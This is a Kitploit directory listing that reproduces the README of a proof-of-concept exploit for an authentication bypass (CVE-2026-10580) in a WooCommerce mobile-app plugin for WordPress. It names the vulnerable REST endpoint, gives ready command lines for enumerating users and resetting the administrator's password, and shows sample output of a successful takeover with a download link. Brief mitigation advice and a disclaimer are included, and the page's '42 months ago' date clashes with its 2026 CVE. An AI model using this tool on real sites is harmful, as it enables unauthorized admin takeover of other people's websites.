Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-10580 — PoC exploit for CVE-2026-10580 - Authentication Bypass in Hippoo Mobile App for WooCommerce <= 1.9.4 leading to Admin Account Takeover | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2026-10580
Authentication & AuthorizationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub0xgh057r3c0n/cve-2026-10580

CVE-2026-10580

PoC exploit for CVE-2026-10580 - Authentication Bypass in Hippoo Mobile App for WooCommerce <= 1.9.4 leading to Admin Account Takeover

View Repository
42 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WordPress

WordPress - Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover

License: MIT

Overview

This tool is a proof-of-concept exploit for CVE-2026-10580, an authentication bypass vulnerability affecting the Hippoo Mobile App for WooCommerce WordPress plugin (versions <= 1.9.4). The vulnerability allows unauthenticated attackers to reset any user's password, including administrators, leading to full site takeover.

⚠️ Important: This tool is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.

Features

  • Enumerates all WordPress users via the vulnerable REST API endpoint
  • Resets the password for a specified user ID (default: admin ID 1)
  • Simple command-line interface with colored output
  • Option to disable SSL verification for testing environments

Usage

Prerequisites

  • Python 3.6+
  • requests library

Install dependencies:

root@kitploit:~
pip install requests

Basic Command

root@kitploit:~
python3 exploit.py -t https://target-site.com -p NewPassword123!

Options

Examples

Exploit with default admin ID (1) and SSL verification:

root@kitploit:~
python3 exploit.py -t https://example.com -p PwnedCVE2026!!

Target a specific user ID and disable SSL verification:

root@kitploit:~
python3 exploit.py -t https://example.com -p NewPass123 -i 2 -k

Run without the banner:

root@kitploit:~
python3 exploit.py -t https://example.com -p NewPass123 --no-banner

Sample Output

root@kitploit:~
[+] Found 3 user(s)
    - User ID: 1 | Username: admin | Role: administrator
    - User ID: 2 | Username: editor_user | Role: editor
    - User ID: 3 | Username: subscriber1 | Role: subscriber

╔══════════════════════════════════════════════════════════════╗
║             ADMIN TAKEOVER SUCCESSFUL                        ║
╚══════════════════════════════════════════════════════════════╝
    Target: https://example.com
    Login: https://example.com/wp-admin
    Username: admin
    Password: PwnedCVE2026!!

Mitigation

If you are using the Hippoo plugin, update it immediately to a patched version (>1.9.4). Additionally:

  • Regularly audit user accounts for unauthorized changes
  • Monitor logs for unexpected API requests to /wp-json/wc-hippoo/v1/ext/wp/v2/users
  • Consider restricting access to the WordPress REST API if not required

License

This project is licensed under the MIT License. See the LICENSE file for details.

Author

0xgh057r3c0n

Disclaimer

The author is not responsible for any misuse of this tool. Use responsibly and only on systems you own or have explicit permission to test.

Download Tool
ArgumentDescription
-t, --targetTarget WordPress site URL (e.g., https://example.com)
-p, --passwordNew password to set for the admin account
-i, --idUser ID to takeover (default: 1)
-k, --insecureSkip SSL certificate verification
--no-bannerSuppress the ASCII banner